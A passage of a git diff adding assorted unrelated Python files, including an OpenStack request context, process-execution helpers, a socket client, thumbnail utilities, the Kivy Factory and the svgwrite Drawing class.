np.max(interp.x)): + result = interp(lam_cm) + else: + ii = (lam_cm >= np.min(interp.x)) & (lam_cm <= np.max(interp.x)) + result[ii] = interp(lam_cm[ii]) + return result + + def rp(self, lam, unit='kev'): + lam_cm = c._lam_cm(lam, unit) + return self._interp_helper(lam_cm, self.interps[0], rp=True) + + def ip(self, lam, unit='kev'): + lam_cm = c._lam_cm(lam, unit) + return self._interp_helper(lam_cm, self.interps[1]) + + def cm(self, lam, unit='kev'): + return self.rp(lam, unit=unit) + 1j * self.ip(lam, unit=unit) + + def plot(self, ax, lam=None, unit='kev', rppart=True, impart=True): + if lam is None: + rp_m1 = np.abs(self.interps[0].y - 1.0) + ip = self.interps[1].y + x = self.interps[0].x / c.micron2cm # cm / (cm/um) + xlabel = "Wavelength (um)" + else: + rp_m1 = np.abs(self.rp(lam, unit)-1.0) + ip = self.ip(lam, unit) + x = lam + assert unit in c.ALLOWED_LAM_UNITS + if unit == 'kev': xlabel = "Energy (keV)" + if unit == 'angs': xlabel = "Wavelength (Angstroms)" + if rppart: + ax.plot(x, rp_m1, ls='-', label='|Re(m-1)|') + if impart: + ax.plot(x, ip, ls='--', label='Im(m)') + ax.set_xlabel(xlabel) + ax.legend() diff --git a/pool/shard008/Python/0078819_context.py b/pool/shard008/Python/0078819_context.py new file mode 100644 index 0000000000000000000000000000000000000000..9080a1aabcb8df4e18efaa687a69f9b40f097696 --- /dev/null +++ b/pool/shard008/Python/0078819_context.py @@ -0,0 +1,145 @@ +# Copyright 2014 +# The Cloudscaling Group, Inc. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +"""RequestContext: context for requests that persist through all of ec2.""" + +from oslo_config import cfg +from oslo_context import context +from oslo_log import log as logging +from oslo_utils import timeutils +import six + +from ec2api import clients +from ec2api import exception + + +CONF = cfg.CONF +LOG = logging.getLogger(__name__) + + +class RequestContext(context.RequestContext): + """Security context and request information. + + Represents the user taking a given action within the system. + + """ + + def __init__(self, user_id, project_id, request_id=None, + is_admin=None, remote_address=None, + auth_token=None, user_name=None, project_name=None, + overwrite=True, service_catalog=None, api_version=None, + is_os_admin=None, **kwargs): + """Parameters + + :param overwrite: Set to False to ensure that the greenthread local + copy of the index is not overwritten. + + + :param kwargs: Extra arguments that might be present, but we ignore + because they possibly came in from older rpc messages. + """ + user = kwargs.pop('user', None) + tenant = kwargs.pop('tenant', None) + super(RequestContext, self).__init__( + auth_token=auth_token, + user=user_id or user, + tenant=project_id or tenant, + is_admin=is_admin, + request_id=request_id, + resource_uuid=kwargs.pop('resource_uuid', None), + overwrite=overwrite) + # oslo_context's RequestContext.to_dict() generates this field, we can + # safely ignore this as we don't use it. + kwargs.pop('user_identity', None) + self.session = kwargs.pop('session', None) + if kwargs: + LOG.warning('Arguments dropped when creating context: %s', + str(kwargs)) + + self.user_id = user_id + self.project_id = project_id + self.remote_address = remote_address + timestamp = timeutils.utcnow() + if isinstance(timestamp, six.string_types): + timestamp = timeutils.parse_strtime(timestamp) + self.timestamp = timestamp + + self.service_catalog = service_catalog + if self.service_catalog is None: + # if list is empty or none + self.service_catalog = [] + + self.user_name = user_name + self.project_name = project_name + self.is_admin = is_admin + # TODO(ft): call policy.check_is_admin if is_admin is None + self.is_os_admin = is_os_admin + self.api_version = api_version + + def to_dict(self): + values = super(RequestContext, self).to_dict() + # FIXME(dims): defensive hasattr() checks need to be + # removed once we figure out why we are seeing stack + # traces + values.update({ + 'user_id': getattr(self, 'user_id', None), + 'project_id': getattr(self, 'project_id', None), + 'is_admin': getattr(self, 'is_admin', None), + 'remote_address': getattr(self, 'remote_address', None), + 'timestamp': self.timestamp.strftime( + timeutils.PERFECT_TIME_FORMAT) if hasattr( + self, 'timestamp') else None, + 'request_id': getattr(self, 'request_id', None), + 'quota_class': getattr(self, 'quota_class', None), + 'user_name': getattr(self, 'user_name', None), + 'service_catalog': getattr(self, 'service_catalog', None), + 'project_name': getattr(self, 'project_name', None), + 'is_os_admin': getattr(self, 'is_os_admin', None), + 'api_version': getattr(self, 'api_version', None), + }) + return values + + @classmethod + def from_dict(cls, values): + return cls(**values) + + +def is_user_context(context): + """Indicates if the request context is a normal user.""" + if not context: + return False + if context.is_os_admin: + return False + if not context.user_id or not context.project_id: + return False + return True + + +def require_context(ctxt): + """Raise exception.AuthFailure() + + if context is not a user or an admin context. + """ + if not ctxt.is_os_admin and not is_user_context(ctxt): + raise exception.AuthFailure() + + +def get_os_admin_context(): + """Create a context to interact with OpenStack as an administrator.""" + admin_session = clients.get_os_admin_session() + return RequestContext( + None, None, + session=admin_session, + is_os_admin=True, + overwrite=False) diff --git a/pool/shard008/Python/0078821_0001_initial.py b/pool/shard008/Python/0078821_0001_initial.py new file mode 100644 index 0000000000000000000000000000000000000000..3ac477920161e63f9a7271a103e2abf56385b44c --- /dev/null +++ b/pool/shard008/Python/0078821_0001_initial.py @@ -0,0 +1,27 @@ +# -*- coding: utf-8 -*- +# Generated by Django 1.11.5 on 2017-10-04 10:34 +from __future__ import unicode_literals + +from django.conf import settings +from django.db import migrations, models +import django.db.models.deletion + + +class Migration(migrations.Migration): + + initial = True + + dependencies = [ + migrations.swappable_dependency(settings.AUTH_USER_MODEL), + ] + + operations = [ + migrations.CreateModel( + name='Factor', + fields=[ + ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), + ('method', models.CharField(max_length=10)), + ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), + ], + ), + ] diff --git a/pool/shard008/Python/0078823_timeout.py b/pool/shard008/Python/0078823_timeout.py new file mode 100644 index 0000000000000000000000000000000000000000..d31226f4cd0f82dba79d0d1a2c93a86cccc17f97 --- /dev/null +++ b/pool/shard008/Python/0078823_timeout.py @@ -0,0 +1,38 @@ +# -*- coding: utf-8 -*- + +# Copyright 2014 Foxdog Studios +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +from __future__ import absolute_import +from __future__ import division +from __future__ import print_function + +import time + +from .timeout_error import TimeoutError + +__all__ = ['Timeout'] + + +class Timeout(object): + def __init__(self, duration): + self._duration = duration + self._start = time.time() + + def get_remaining(self): + remaining = self._duration - time.time() + self._start + if remaining <= 0: + raise TimeoutError() + return remaining + diff --git a/pool/shard008/Python/0078829_processutils.py b/pool/shard008/Python/0078829_processutils.py new file mode 100644 index 0000000000000000000000000000000000000000..9da806c4b532b4aaf2e457191117fced89102133 --- /dev/null +++ b/pool/shard008/Python/0078829_processutils.py @@ -0,0 +1,267 @@ +# Copyright 2011 OpenStack Foundation. +# All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +""" +System-level utilities and helper functions. +""" + +import errno +import logging as stdlib_logging +import os +import random +import shlex +import signal + +from eventlet.green import subprocess +from eventlet import greenthread +import six + +from murano.openstack.common.gettextutils import _ +from murano.openstack.common import log as logging + + +LOG = logging.getLogger(__name__) + + +class InvalidArgumentError(Exception): + def __init__(self, message=None): + super(InvalidArgumentError, self).__init__(message) + + +class UnknownArgumentError(Exception): + def __init__(self, message=None): + super(UnknownArgumentError, self).__init__(message) + + +class ProcessExecutionError(Exception): + def __init__(self, stdout=None, stderr=None, exit_code=None, cmd=None, + description=None): + self.exit_code = exit_code + self.stderr = stderr + self.stdout = stdout + self.cmd = cmd + self.description = description + + if description is None: + description = _("Unexpected error while running command.") + if exit_code is None: + exit_code = '-' + message = _('%(description)s\n' + 'Command: %(cmd)s\n' + 'Exit code: %(exit_code)s\n' + 'Stdout: %(stdout)r\n' + 'Stderr: %(stderr)r') % {'description': description, + 'cmd': cmd, + 'exit_code': exit_code, + 'stdout': stdout, + 'stderr': stderr} + super(ProcessExecutionError, self).__init__(message) + + +class NoRootWrapSpecified(Exception): + def __init__(self, message=None): + super(NoRootWrapSpecified, self).__init__(message) + + +def _subprocess_setup(): + # Python installs a SIGPIPE handler by default. This is usually not what + # non-Python subprocesses expect. + signal.signal(signal.SIGPIPE, signal.SIG_DFL) + + +def execute(*cmd, **kwargs): + """Helper method to shell out and execute a command through subprocess. + + Allows optional retry. + + :param cmd: Passed to subprocess.Popen. + :type cmd: string + :param process_input: Send to opened process. + :type process_input: string + :param check_exit_code: Single bool, int, or list of allowed exit + codes. Defaults to [0]. Raise + :class:`ProcessExecutionError` unless + program exits with one of these code. + :type check_exit_code: boolean, int, or [int] + :param delay_on_retry: True | False. Defaults to True. If set to True, + wait a short amount of time before retrying. + :type delay_on_retry: boolean + :param attempts: How many times to retry cmd. + :type attempts: int + :param run_as_root: True | False. Defaults to False. If set to True, + the command is prefixed by the command specified + in the root_helper kwarg. + :type run_as_root: boolean + :param root_helper: command to prefix to commands called with + run_as_root=True + :type root_helper: string + :param shell: whether or not there should be a shell used to + execute this command. Defaults to false. + :type shell: boolean + :param loglevel: log level for execute commands. + :type loglevel: int. (Should be stdlib_logging.DEBUG or + stdlib_logging.INFO) + :returns: (stdout, stderr) from process execution + :raises: :class:`UnknownArgumentError` on + receiving unknown arguments + :raises: :class:`ProcessExecutionError` + """ + + process_input = kwargs.pop('process_input', None) + check_exit_code = kwargs.pop('check_exit_code', [0]) + ignore_exit_code = False + delay_on_retry = kwargs.pop('delay_on_retry', True) + attempts = kwargs.pop('attempts', 1) + run_as_root = kwargs.pop('run_as_root', False) + root_helper = kwargs.pop('root_helper', '') + shell = kwargs.pop('shell', False) + loglevel = kwargs.pop('loglevel', stdlib_logging.DEBUG) + + if isinstance(check_exit_code, bool): + ignore_exit_code = not check_exit_code + check_exit_code = [0] + elif isinstance(check_exit_code, int): + check_exit_code = [check_exit_code] + + if kwargs: + raise UnknownArgumentError(_('Got unknown keyword args ' + 'to utils.execute: %r') % kwargs) + + if run_as_root and hasattr(os, 'geteuid') and os.geteuid() != 0: + if not root_helper: + raise NoRootWrapSpecified( + message=_('Command requested root, but did not ' + 'specify a root helper.')) + cmd = shlex.split(root_helper) + list(cmd) + + cmd = map(str, cmd) + + while attempts > 0: + attempts -= 1 + try: + LOG.log(loglevel, 'Running cmd (subprocess): %s', + ' '.join(cmd)) + _PIPE = subprocess.PIPE # pylint: disable=E1101 + + if os.name == 'nt': + preexec_fn = None + close_fds = False + else: + preexec_fn = _subprocess_setup + close_fds = True + + obj = subprocess.Popen(cmd, + stdin=_PIPE, + stdout=_PIPE, + stderr=_PIPE, + close_fds=close_fds, + preexec_fn=preexec_fn, + shell=shell) + result = None + for _i in six.moves.range(20): + # NOTE(russellb) 20 is an arbitrary number of retries to + # prevent any chance of looping forever here. + try: + if process_input is not None: + result = obj.communicate(process_input) + else: + result = obj.communicate() + except OSError as e: + if e.errno in (errno.EAGAIN, errno.EINTR): + continue + raise + break + obj.stdin.close() # pylint: disable=E1101 + _returncode = obj.returncode # pylint: disable=E1101 + LOG.log(loglevel, 'Result was %s' % _returncode) + if not ignore_exit_code and _returncode not in check_exit_code: + (stdout, stderr) = result + raise ProcessExecutionError(exit_code=_returncode, + stdout=stdout, + stderr=stderr, + cmd=' '.join(cmd)) + return result + except ProcessExecutionError: + if not attempts: + raise + else: + LOG.log(loglevel, '%r failed. Retrying.', cmd) + if delay_on_retry: + greenthread.sleep(random.randint(20, 200) / 100.0) + finally: + # NOTE(termie): this appears to be necessary to let the subprocess + # call clean something up in between calls, without + # it two execute calls in a row hangs the second one + greenthread.sleep(0) + + +def trycmd(*args, **kwargs): + """A wrapper around execute() to more easily handle warnings and errors. + + Returns an (out, err) tuple of strings containing the output of + the command's stdout and stderr. If 'err' is not empty then the + command can be considered to have failed. + + :discard_warnings True | False. Defaults to False. If set to True, + then for succeeding commands, stderr is cleared + + """ + discard_warnings = kwargs.pop('discard_warnings', False) + + try: + out, err = execute(*args, **kwargs) + failed = False + except ProcessExecutionError as exn: + out, err = '', str(exn) + failed = True + + if not failed and discard_warnings and err: + # Handle commands that output to stderr but otherwise succeed + err = '' + + return out, err + + +def ssh_execute(ssh, cmd, process_input=None, + addl_env=None, check_exit_code=True): + LOG.debug('Running cmd (SSH): %s', cmd) + if addl_env: + raise InvalidArgumentError(_('Environment not supported over SSH')) + + if process_input: + # This is (probably) fixable if we need it... + raise InvalidArgumentError(_('process_input not supported over SSH')) + + stdin_stream, stdout_stream, stderr_stream = ssh.exec_command(cmd) + channel = stdout_stream.channel + + # NOTE(justinsb): This seems suspicious... + # ...other SSH clients have buffering issues with this approach + stdout = stdout_stream.read() + stderr = stderr_stream.read() + stdin_stream.close() + + exit_status = channel.recv_exit_status() + + # exit_status == -1 if no exit code was returned + if exit_status != -1: + LOG.debug('Result was %s' % exit_status) + if check_exit_code and exit_status != 0: + raise ProcessExecutionError(exit_code=exit_status, + stdout=stdout, + stderr=stderr, + cmd=cmd) + + return (stdout, stderr) diff --git a/pool/shard008/Python/0078831_client.py b/pool/shard008/Python/0078831_client.py new file mode 100644 index 0000000000000000000000000000000000000000..86fe3aa60321cb52d3e378da46b24b0539c247e6 --- /dev/null +++ b/pool/shard008/Python/0078831_client.py @@ -0,0 +1,132 @@ +# coding:utf-8 + +import socket +import threading + +from message import Message +from handler import IHandler + + +class Client(threading.Thread): + """socket connection """ + + def __init__(self, host, port, handler): + """ + host,port:连接信息 + handler:消息处理器,接受两个个参数:client宿主对象,消息对象 + """ + threading.Thread.__init__(self) + + self.host = host + self.port = port + + if not issubclass(handler.__class__, IHandler): + raise Exception("[error]client parameter(handler) should be subclass of IHandler!!!") + self.handler = handler + + self.sock = None + + def is_connected(self): + """判断是否连接成功""" + if self.sock is None: + return False + + # TODO:socket connection check + + return True + + def connect(self): + """连接""" + try: + if self.is_connected(): + self.disconnect() + + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + # TODO:设置连接属性 + sock.connect((self.host, self.port)) + self.sock = sock + return True + except Exception, e: + print "[error]connect to server<", self.host, ':', self.port, '> failed.', e + self.sock = None + return False + + def disconnect(self): + """断开连接""" + if self.is_connected(): + self.sock.close() + self.sock = None + + def send(self, proto_message): + """发送消息""" + if not self.is_connected(): + print '[error]when send message,connection is not available.' + return + + try: + self.sock.send(Message.pack(proto_message)) + except Exception as e: + print '[error]when send message,exception:', e + + def run(self): + """ + 工作线程,接口并处理消息 + """ + # 连接服务器 + if not self.is_connected(): + if not self.connect(): + print "[error]connect to server<", self.host, ':', self.port, '> failed.' + return + + # 数据处理 + while True: + # 接收数据 + try: + message = Message() + + header = self._read(message.get_message_header_length()) + message.parse_message_header(header) + + body_len = message.get_message_body_length() + if body_len > 0: + body = self._read(body_len) + message.parse_message_body(body) + else: + message.parse_message_body() + except Exception as e: + print '[error]client read data failed.', e + continue + + # 处理消息 + try: + message_body = message.get_message_body() + if message_body is None: + print '[error]message('+message.get_message_id()+") body is None!!!" + continue + + self.handler.handle_message(message_body) + except Exception, e: + print '[error]handle message failed.', e + break + + # 断开连接 + self.sock.close() + + def _read(self, size): + """读取指定大小数据""" + if size <= 0: + return None + + data_list = [] + data_len = 0 + while data_len < size: + data = self.sock.recv(size - data_len) + if len(data) == 0: + raise Exception("receive 0 data") + else: + data_list.append(data) + data_len += len(data) + if len(data_list) > 0: + return ''.join(data_list) + else: + return None diff --git a/pool/shard008/Python/0078832_thumbnails.py b/pool/shard008/Python/0078832_thumbnails.py new file mode 100644 index 0000000000000000000000000000000000000000..f119e20c4be2bd1dc957ac81692419907e164e1c --- /dev/null +++ b/pool/shard008/Python/0078832_thumbnails.py @@ -0,0 +1,67 @@ +import Image +import base64 +import StringIO +from wand.image import Image as WandImage +from wand.color import Color + + +def _open_image(filename): + try: + im = Image.open(filename) + except IOError, e: + im = None + return im + + +def get_thumbnail_size(height, width, max_height, max_width): + if (width / max_width) > (height / max_height): + s = float(max_height) / float(height) + tw = int(float(width) * s) + th = int(float(height) * s) + else: + s = float(max_width) / float(width) + tw = int(float(width) * s) + th = int(float(height) * s) + return tw, th + + +def pil_make_thumbnail(im, max_height, max_width): + width = im.size[0] + height = im.size[1] + tw, th = get_thumbnail_size(height, width, max_height, max_width) + + return im.resize((tw, th), Image.ANTIALIAS) + + +def _pdf_thumbnail(filename): + img = WandImage(filename=filename + '[0]') + img.background_color = Color('white') + tw, th = get_thumbnail_size(img.height, img.width, 50, 50) + img.resize(tw, th) + rawData = img.make_blob('jpeg') + return base64.b64encode(rawData) + + +def _image_thumbnail(filename): + im = _open_image(filename) + + if im: + width = im.size[0] + height = im.size[1] + + im5 = pil_make_thumbnail(im, 50, 50) + + io = StringIO.StringIO() + im5.save(io, 'jpeg') + rawData = io.getvalue() + + return base64.b64encode(rawData) + return None + + +def get_thumbnail(filename, field_name='value', mimetype=None): + if mimetype and 'pdf' in mimetype: + rv = {field_name: _pdf_thumbnail(filename)} + else: + rv = {field_name: _image_thumbnail(filename)} + return rv diff --git a/pool/shard008/Python/0078837_zinc_analysis.py b/pool/shard008/Python/0078837_zinc_analysis.py new file mode 100644 index 0000000000000000000000000000000000000000..32865f1ee8615b865844e4f26e8e720ce563192c --- /dev/null +++ b/pool/shard008/Python/0078837_zinc_analysis.py @@ -0,0 +1,79 @@ +# coding=utf-8 +# Copyright 2014 Pants project contributors (see CONTRIBUTORS.md). +# Licensed under the Apache License, Version 2.0 (see LICENSE). + +from __future__ import (absolute_import, division, generators, nested_scopes, print_function, + unicode_literals, with_statement) + +import os + +import six +from zincutils.zinc_analysis import ZincAnalysis as UnderlyingAnalysis + +from pants.backend.jvm.tasks.jvm_compile.analysis import Analysis +from pants.base.build_environment import get_buildroot + + +class ZincAnalysis(Analysis): + """Parsed representation of a zinc analysis. + + Implemented by delegating to an underlying zincutils.ZincAnalysis instance. + + Note also that all files in keys/values are full-path, just as they appear in the analysis file. + If you want paths relative to the build root or the classes dir or whatever, you must compute + those yourself. + + zincutils code is at https://github.com/pantsbuild/zincutils. + See its README on how to publish it. + + To run a dev pants against zincutils sources, without having to publish, just add its root dir + to your PYTHONPATH, e.g.: + + PYTHONPATH=/path/to/zincutils/ \ + ./pants test tests/python/pants_test/backend/jvm/tasks/jvm_compile/scala:zinc_analysis + """ + + FORMAT_VERSION_LINE = UnderlyingAnalysis.FORMAT_VERSION_LINE + + @classmethod + def merge(cls, analyses): + return ZincAnalysis(UnderlyingAnalysis.merge([a._underlying_analysis for a in analyses])) + + def __init__(self, underlying_analysis): + self._underlying_analysis = underlying_analysis + + @property + def underlying_analysis(self): + return self._underlying_analysis + + def sources(self): + return self._underlying_analysis.sources() + + def split(self, splits, catchall=False): + buildroot = get_buildroot() + abs_splits = [set([s if os.path.isabs(s) else os.path.join(buildroot, s) for s in x]) + for x in splits] + return [ZincAnalysis(s) for s in self.underlying_analysis.split(abs_splits, catchall)] + + def write(self, outfile): + self.underlying_analysis.write(outfile) + + def diff(self, other): + return self.underlying_analysis.diff(other.underlying_analysis) + + def __eq__(self, other): + if other is None: + return False + return self.underlying_analysis == other.underlying_analysis + + def __ne__(self, other): + return not self.__eq__(other) + + def __hash__(self): + return hash(self.underlying_analysis) + + def __str__(self): + return str(self.underlying_analysis) + + def __unicode__(self): + return six.text_type(self.underlying_analysis) diff --git a/pool/shard008/Python/0078842_factory.py b/pool/shard008/Python/0078842_factory.py new file mode 100644 index 0000000000000000000000000000000000000000..0fcb75b8639fff0a59337617e67a0c8708dc35df --- /dev/null +++ b/pool/shard008/Python/0078842_factory.py @@ -0,0 +1,170 @@ +''' +Factory object +============== + +The factory can be used to automatically register any class or module +and instantiate classes from it anywhere in your project. It is an +implementation of the +`Factory Pattern `_. + +The class list and available modules are automatically generated by setup.py. + +Example for registering a class/module:: + + >>> from kivy.factory import Factory + >>> Factory.register('Widget', module='kivy.uix.widget') + >>> Factory.register('Vector', module='kivy.vector') + +Example of using the Factory:: + + >>> from kivy.factory import Factory + >>> widget = Factory.Widget(pos=(456,456)) + >>> vector = Factory.Vector(9, 2) + +Example using a class name:: + + >>> from kivy.factory import Factory + >>> Factory.register('MyWidget', cls=MyWidget) + +By default, the first classname you register via the factory is permanent. +If you wish to change the registered class, you need to unregister the +classname before you re-assign it:: + + >>> from kivy.factory import Factory + >>> Factory.register('MyWidget', cls=MyWidget) + >>> widget = Factory.MyWidget() + >>> Factory.unregister('MyWidget') + >>> Factory.register('MyWidget', cls=CustomWidget) + >>> customWidget = Factory.MyWidget() +''' + +__all__ = ('Factory', 'FactoryException') + +from kivy.logger import Logger + + +class FactoryException(Exception): + pass + + +class FactoryBase(object): + + def __init__(self): + super(FactoryBase, self).__init__() + self.classes = {} + + def is_template(self, classname): + '''Return True if the classname is a template from the + :class:`~kivy.lang.Builder`. + + .. versionadded:: 1.0.5 + ''' + if classname in self.classes: + return self.classes[classname]['is_template'] + else: + return False + + def register(self, classname, cls=None, module=None, is_template=False, + baseclasses=None, filename=None, warn=False): + '''Register a new classname referring to a real class or + class definition in a module. Warn, if True will emit a warning message + when a class is re-declared. + + .. versionchanged:: 1.9.0 + `warn` was added. + + .. versionchanged:: 1.7.0 + :attr:`baseclasses` and :attr:`filename` added + + .. versionchanged:: 1.0.5 + :attr:`is_template` has been added in 1.0.5. + ''' + if cls is None and module is None and baseclasses is None: + raise ValueError( + 'You must specify either cls= or module= or baseclasses =') + if classname in self.classes: + if warn: + info = self.classes[classname] + Logger.warning('Factory: Ignored class "{}" re-declaration. ' + 'Current - module: {}, cls: {}, baseclass: {}, filename: {}. ' + 'Ignored - module: {}, cls: {}, baseclass: {}, filename: {}.'. + format(classname, info['module'], info['cls'], + info['baseclasses'], info['filename'], module, cls, + baseclasses, filename)) + return + self.classes[classname] = { + 'module': module, + 'cls': cls, + 'is_template': is_template, + 'baseclasses': baseclasses, + 'filename': filename} + + def unregister(self, *classnames): + '''Unregisters the classnames previously registered via the + register method. This allows the same classnames to be re-used in + different contexts. + + .. versionadded:: 1.7.1 + ''' + for classname in classnames: + if classname in self.classes: + self.classes.pop(classname) + + def unregister_from_filename(self, filename): + '''Unregister all the factory objects related to the filename passed in + the parameter. + + .. versionadded:: 1.7.0 + ''' + to_remove = [x for x in self.classes + if self.classes[x]['filename'] == filename] + for name in to_remove: + del self.classes[name] + + def __getattr__(self, name): + classes = self.classes + if name not in classes: + if name[0] == name[0].lower(): + # if trying to access attributes like checking for `bind` + # then raise AttributeError + raise AttributeError + raise FactoryException('Unknown class <%s>' % name) + + item = classes[name] + cls = item['cls'] + + # No class to return, import the module + if cls is None: + if item['module']: + module = __import__(name=item['module'], fromlist='.') + if not hasattr(module, name): + raise FactoryException( + 'No class named <%s> in module <%s>' % ( + name, item['module'])) + cls = item['cls'] = getattr(module, name) + + elif item['baseclasses']: + rootwidgets = [] + for basecls in item['baseclasses'].split('+'): + rootwidgets.append(Factory.get(basecls)) + cls = item['cls'] = type(str(name), tuple(rootwidgets), {}) + + else: + raise FactoryException('No information to create the class') + + return cls + + get = __getattr__ + + +#: Factory instance to use for getting new classes +Factory = FactoryBase() + +# Now import the file with all registers +# automatically generated by build_factory +import kivy.factory_registers # NOQA +Logger.info('Factory: %d symbols loaded' % len(Factory.classes)) + +if __name__ == '__main__': + Factory.register('Vector', module='kivy.vector') + Factory.register('Widget', module='kivy.uix.widget') diff --git a/pool/shard008/Python/0078844_createPythonInit.py b/pool/shard008/Python/0078844_createPythonInit.py new file mode 100644 index 0000000000000000000000000000000000000000..3deb9159b70282bf9641ab115b1bd27365a7cce3 --- /dev/null +++ b/pool/shard008/Python/0078844_createPythonInit.py @@ -0,0 +1,17 @@ +import os +import sys + +pkgRelDir = sys.argv[1] +pkgFiles = sys.argv[2:] + +getFileName = lambda f: os.path.splitext(os.path.basename(f))[0] +importNames = ', '.join('"{}"'.format(getFileName(f)) for f in pkgFiles) + +script = """__all__ = [{import_names}] +for x in __all__: + __import__('lldb.{pkg_name}.' + x) +""".format(import_names=importNames, pkg_name=pkgRelDir.replace("/", ".")) + +pkgIniFile = os.path.normpath(os.path.join(pkgRelDir, "__init__.py")) +with open(pkgIniFile, "w") as f: + f.write(script) diff --git a/pool/shard008/Python/0078845_drawing.py b/pool/shard008/Python/0078845_drawing.py new file mode 100644 index 0000000000000000000000000000000000000000..c0e2e438bee05c39533bc248b7245df2e93139e8 --- /dev/null +++ b/pool/shard008/Python/0078845_drawing.py @@ -0,0 +1,120 @@ +#!/usr/bin/env python +#coding:utf-8 +# Author: mozman +# Purpose: drawing +# Created: 10.09.2010 +# Copyright (C) 2010, Manfred Moitzi +# License: MIT License +""" +The *Drawing* object is the overall container for all SVG +elements. It provides the methods to store the drawing into a file or a +file-like object. If you want to use stylesheets, the reference links +to this stylesheets were also stored (`add_stylesheet`) +in the *Drawing* object. + +set/get SVG attributes:: + + element['attribute'] = value + value = element['attribute'] + +The Drawing object also includes a defs section, add elements to the defs +section by:: + + drawing.defs.add(element) + +""" +from __future__ import unicode_literals +import io + +from svgwrite.container import SVG, Defs +from svgwrite.elementfactory import ElementFactory + + +class Drawing(SVG, ElementFactory): + """ This is the SVG drawing represented by the top level *svg* element. + + A drawing consists of any number of SVG elements contained within the drawing + element, stored in the *elements* attribute. + + A drawing can range from an empty drawing (i.e., no content inside of the drawing), + to a very simple drawing containing a single SVG element such as a *rect*, + to a complex, deeply nested collection of container elements and graphics elements. + """ + def __init__(self, filename="noname.svg", size=('100%', '100%'), **extra): + """ + :param string filename: filesystem filename valid for :func:`open` + :param 2-tuple size: width, height + :param keywords extra: additional svg-attributes for the *SVG* object + + Important (and not SVG Attributes) **extra** parameters: + + :param string profile: ``'tiny | full'`` - define the SVG baseProfile + :param bool debug: switch validation on/off + + """ + super(Drawing, self).__init__(size=size, **extra) + self.filename = filename + self._stylesheets = [] # list of stylesheets appended + + def get_xml(self): + """ Get the XML representation as `ElementTree` object. + + :return: XML `ElementTree` of this object and all its subelements + + """ + profile = self.profile + version = self.version + self.attribs['xmlns'] = "http://www.w3.org/2000/svg" + self.attribs['xmlns:xlink'] = "http://www.w3.org/1999/xlink" + self.attribs['xmlns:ev'] = "http://www.w3.org/2001/xml-events" + + self.attribs['baseProfile'] = profile + self.attribs['version'] = version + return super(Drawing, self).get_xml() + + def add_stylesheet(self, href, title, alternate="no", media="screen"): + """ Add a stylesheet reference. + + :param string href: link to stylesheet + :param string title: name of stylesheet + :param string alternate: ``'yes'|'no'`` + :param string media: ``'all | aureal | braille | embossed | handheld | print | projection | screen | tty | tv'`` + + """ + self._stylesheets.append( (href, title, alternate, media) ) + + def write(self, fileobj): + """ Write XML string to **fileobj**. + + :param fileobj: a *file-like* object + + Python 3.x - set encoding at the open command:: + + open('filename', 'w', encoding='utf-8') + """ + # write xml header + fileobj.write('\n') + + # don't use DOCTYPE. It's useless. see also: + # http://tech.groups.yahoo.com/group/svg-developers/message/48562 + # write stylesheets + stylesheet_template = '\n' + # removed map(), does not work with Python 3 + for stylesheet in self._stylesheets: + fileobj.write(stylesheet_template % stylesheet) + fileobj.write(self.tostring()) + + def save(self): + """ Write the XML string to **filename**. """ + fileobj = io.open(self.filename, mode='w', encoding='utf-8') + self.write(fileobj) + fileobj.close() + + def saveas(self, filename): + """ Write the XML string to **filename**. + + :param string filename: filesystem filename valid for :func:`open` + """ + self.filename = filename + self.save() diff --git a/pool/shard008/Python/0078846_Logger.py b/pool/shard008/Python/0078846_Logger.py new file mode 100644 index 0000000000000000000000000000000000000000..0dc9c0687a1815a8b5fd81f9d6595b4822dc2818 --- /dev/null +++ b/pool/shard008/Python/0078846_Logger.py @@ -0,0 +1,100 @@ +# -*- coding: utf-8 -*- +#+---------------------------------------------------------------------------+ +#| | +#| Android's Hooker | +#| | +#+---------------------------------------------------------------------------+ +#| Copyright (C) 2011 Georges Bossert and Dimitri Kirchner | +#| This program is free software: you can redistribute it and/or modify | +#| it under the terms of the GNU General Public License as published by | +#| the Free Software Foundation, either version 3 of the License, or | +#| (at your option) any later version. | +#| | +#| This program is distributed in the hope that it will be useful, | +#| but WITHOUT ANY WARRANTY; without even the implied warranty of | +#| MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | +#| GNU General Public License for more details. | +#| | +#| You should have received a copy of the GNU General Public License | +#| along with this program. If not, see . | +#+---------------------------------------------------------------------------+ +#| @url : http://www.amossys.fr | +#| @contact : android-hooker@amossys.fr | +#| @sponsors : Amossys, http://www.amossys.fr | +#+---------------------------------------------------------------------------+ + +#+---------------------------------------------------------------------------+ +#| Standard library imports +#+---------------------------------------------------------------------------+ +from logging import StreamHandler, DEBUG, getLogger as realGetLogger, Formatter + +try: + from colorama import Fore, Back, Style + + class ColourStreamHandler(StreamHandler): + """ A colorized output SteamHandler """ + + # Some basic colour scheme defaults + colours = { + 'DEBUG' : Fore.CYAN, + 'INFO' : Fore.GREEN, + 'WARN' : Fore.YELLOW, + 'WARNING': Fore.YELLOW, + 'ERROR': Fore.RED, + 'CRIT' : Back.RED + Fore.WHITE, + 'CRITICAL' : Back.RED + Fore.WHITE + } + + 